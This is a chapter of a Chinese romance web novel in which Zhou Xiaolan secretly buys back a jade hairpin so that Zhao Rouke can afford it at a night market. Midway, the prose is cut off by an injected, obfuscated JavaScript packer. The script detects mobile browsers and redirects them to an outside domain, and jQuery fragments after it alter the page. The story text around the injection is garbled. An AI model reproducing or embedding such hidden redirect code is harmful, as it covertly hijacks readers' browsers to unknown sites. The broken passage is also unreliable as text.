为了准备小考,赵柔柯整个人神经紧绷,如今小考分了舍,她才终于觉得轻松一点。进入书院不久,倚月楼的云娘来找过她两次,今日刚把作画的帐结掉。她按了按自己发酸的脖颈,颠着手中的钱袋子,打算拉着陆心棠和李思朝去八方客吃点好的,再给三姨娘看只簪子。
闻言陆心棠头也没抬拒绝了她的邀约,自从答应了帮她创作画本故事,她这几天便认真得不得了。赵柔柯便和李思朝一同走出书院,她不是个爱探听别人私隐的人,可前阵子李思朝和她提到秦南书与长公主的旧事,这几日一直在想着这事。
因此,她也想着借二人去吃饭再问一问,她内心总有股直觉,周啸阑兄长的那件案子,好似没那么简单。孙谦那人他从前听过倚月楼的姑娘们说起过,没听说过此人有在小倌身上点青的癖好。
这对锦衣卫来说,不是什么很难查的事,可孙谦还是死了,可见周啸阑对于他兄长之案执着太过。在他心里,他兄长的仇已经报了,在没有明确证据的情况下,告诉他自己的怀疑,无疑是在他心上扎刀子。与他一起设计周伯那日,周啸阑在松风阁无助的样子还历历在目,要告诉他,也许孙谦不是害死你兄长之人,也许凶手另有其人?她开不了这个口,他已经被困了十年,好不容易看见天光,不该这样再次堕入黑暗之中。她最后在心底打定主意,待时机成熟再告诉他。
刚出书院门,赵柔柯看见门口停了一辆马车,马车两边挂着灯笼,上面写着周府。丫鬟青叶见到她,伏身行了一礼:表小姐,少爷吩咐奴婢接您回去。”
赵柔柯这才想起来,那日周啸阑来找她要荷包,她答应他等小考结束后便回周府的。小考结束,明日又是休沐日,家在京师的都回了家。
虽然他们二人并无亲缘,但在外人看来,她是寄居在周府的表小姐,她这样自己留在书院,改日又不知道会传什么流言。
李思朝是个会看眼色的,知道今日八方客是去不了了,笑着和赵柔柯作了别。
赵柔柯正要踩上马凳跨上马车,一只手便掀开了帘子,周啸阑撩起帘子看着她,似是等她将手放上来。赵柔柯看着他一双黑亮的眼睛,征然了一瞬,周啸阑看着她露出了个笑:“愣着作甚,上来。”
周围学子来来去去,几双眼睛瞟来瞟去,她脸颊有点微热,伸出手搭在他的手心,借着力气上了马车。
车轮滚滚向前,一路上赵柔柯总觉得他腰间晃眼,从前的白玉坠子没有了,换成了荷包,那只金元宝在其间耀武扬威。赵柔柯自己都觉得那荷包的绣工实在是丑得别具一格,京师找不出第二个,她有些尴尬,赶紧喝了口茶。
谁知喝得太急,一口茶呛到了嗓子眼,一直咳个不停。周啸阑轻轻拍着她的肩背,帮她顺气,语气带着一点戏谑:“慢点,我还会和你抢么?”
从前伶牙俐齿,此时舌头好似被狗叼了去,想了半晌,赵柔柯也没能想到什么怼回去,气闷地靠在马车窗,双眼看着窗外。中秋将近,这会儿天色却还没有暗下来。他们走的这条街,夜间有夜市开放,现下已经有一些货郎正挑着货物往市集的方向去,人来人往,很是热闹。有好几个卖首饰的货郎看她露出脸,问她要不要买。她看着货郎打开的货箱,里面玲琅满目尽是珠宝首饰。
“可想要去逛逛?”周啸阑在旁边适时开口。
从这个方向看过去,赵柔柯趴在车窗上,侧着脸,眼睛亮晶晶的,纤长睫毛像是一把小刷子,好似扫在人心上,他内心柔软的不像话。
赵柔柯确实想逛逛,听说夜市热闹非凡,直到巳时才结束。她惦记着给三姨娘看簪子,便和周啸阑一前一后地下了马车。
那货郎见他们停了马车,就将货箱搁在地上,货箱层层叠叠,每摊开一层都是不同样式。赵柔柯目光在一只通体莹白的玉兰花簪上停下来。这玉看起来质感上乘,玉兰花也雕得栩栩如生,想着三姨娘不爱繁华浮夸的首饰,这簪子她定喜欢。
心里这样想着,便问货郎:“这玉兰花簪怎么卖?”
货郎看了她身上的无境书院的学服,又看了一眼周啸阑身上的牙色锦衣:“姑娘好眼光,这白玉兰簪是刚从西域进的货,二十两。”
赵柔柯瞪大了双眼,没想到市集的摊贩要价这么大胆。她又看了看簪子,这色泽工艺,确实是佳品。可云娘付她的这笔钱一共不多不少,十五两。她皱着眉头:“身上没带够银钱,可否为我留着,明日来取可好?”
货郎咧着一张嘴笑了:“姑娘说笑了,这买卖总是瞬息万变。能看上的皆是有缘,明日,便是明日的缘分了。”
赵柔柯不想自己为三姨娘买簪子还要周啸阑来付钱,更不想被小贩坑骗,她看了那簪子几眼,最后还是忍痛拉着周啸阑走了,想着明日带够了银钱再来看看别的。
市集上人渐渐多了起来,一堆人围着一个喷火的少年赞叹。赵柔柯从前没有看过这等新鲜,就在少年右一簇火苗从口中喷出时,赵柔柯拿着一串糖葫芦,忍不住叫了声好。
等到表演结束,赵柔柯才发现周啸阑不见了。她找了一圈都没有看到周啸阑的影子,内心有股说不出来的怅惘,对着手中的糖葫芦,在空中挥舞了一下拳头:“走也不打个招呼......”
她咬下一颗糖葫芦,一个人漫无目的地继续逛。
周啸阑趁着赵柔柯去看喷火表演之际,找到了一开始卖首饰的那个货郎。货郎见他去而复返,有点惊讶。
眼神扫了一圈,没见着那簪子。
“客官可是要找那玉兰簪?那簪子已经被人买走了。”
周啸阑问了那人相貌,脚下一点,追了出去。
还好那人走得不远,好说歹说,才将那簪子用多一倍的价格买了回来,再次去到了货郎的摊前。
货郎见他,惊讶道:“客官怎么又回来了?”
周啸阑这才将簪子从怀中掏出来,重新放回货摊上。
货郎不解:“客官这是......”
周啸阑掏出一锭银子放在摊前,“这是二十两。”
“这簪子,除了一开始你见到的姑娘,其他人来买,都不卖。她若要买,你便以十五两卖给她。懂了么?”
货郎只觉得那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15914027|170764||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人声音低沉,有股压迫感袭来,心想这人怕是讨心上人开心的,何况这买卖稳赚不赔,赶紧拿了银子点头哈腰。
面具摊前,赵柔柯刚拿起一张狗狗的面具,便闻到一股熟悉的云杉木香味,与此同时,还夹杂着一丝甜丝丝的糕点味道。她转过身,刚好对上周啸阑的眼睛。
“逛了这么久,饿么?”说着便把一个油纸袋递了过来,是龙须糕,她上辈子最爱吃的。
她没有跟他说过,他是如何得知的。
来不及细想,肚子就开始咕咕叫。
为了掩饰尴尬,她接过油纸袋,岔开话题:“你去就是买这糕点?”
周啸阑点头:“嗯。我馋了。”
赵柔柯撇嘴,没说话。
周啸阑看着一排排面具,选了一张,拿起来覆在她脸上:“像你。”那是一张小狐狸面具。
赵柔柯也不退让,拿了一张狗狗的面具,覆在他脸上:“像你。”
两人隔着面具都笑出了声。
赵柔柯从未有过这样放松的时刻,做虞同玉时她活得战战兢兢,做赵柔柯时她步步为营。唯有在与周啸阑相处之时,他能让她放下戒备与拘谨,让她觉得,自己现在好像真的只有十七岁。
不知怎么又逛到了一开始的那家货摊前,赵柔柯看着那玉兰簪子还没有被买走,可她也只能作罢。从摊前经过之时,被那货郎打量着,他开口叫住了赵柔柯。
“姑娘。”货郎开口。
二人再次走到摊前,货郎这才不好意思地看着赵柔柯说:“姑娘,我两次见你,看来你与这簪子确实有缘。这簪子就十五两卖给你吧。”
赵柔柯大喜,“果真?”
货郎拍拍胸口,“如假包换。”
见赵柔柯拿着那簪子看了又看,周啸阑勾起嘴唇:“真这么喜欢?”
赵柔柯点头:“你不懂,从前我在赵府,其实三姨娘的日子过得也并不好,但她还是会帮衬着我。她于我而言,要比赵家所有人更亲近。”
来了周府之后,她们二人在周啸阑的照顾下,日子过得逍遥自在,只是在三姨娘心里,毕竟是寄人篱下。因而那些周啸阑送的首饰簪子,从来都被她放在一处,很少见她戴。也怪她没有早早察觉。
周啸阑却从她短短两句话中听出了从前她在赵府过的日子。虽然他曾让程川查过,可真从她口中说出来,心被针扎,密密麻麻的疼。他低下头,定定地看着她:“再没人敢欺负你。”
只是很短的一句话,周啸阑却说得好认真,认真到赵柔柯似乎被这话烫了一下,好半晌,她好像因为这面具也有了勇气似的,点了点头。
时间不早了,周啸阑唤人牵来马车,回头他看见赵柔柯正看着某处出神。
街角一个女子,正拿着一张寻人启事,挨个问摊贩:“有没有见到这个人,他是我弟弟。”
摊贩看着她破旧的衣衫都嫌弃地摆手,她满脸疲惫,转过来,刚好和赵柔柯对上了眼。
赵柔柯这才看到了她的正脸,是江子妍。对方只愣了一瞬,便继续拿着寻人启事问下一个人了。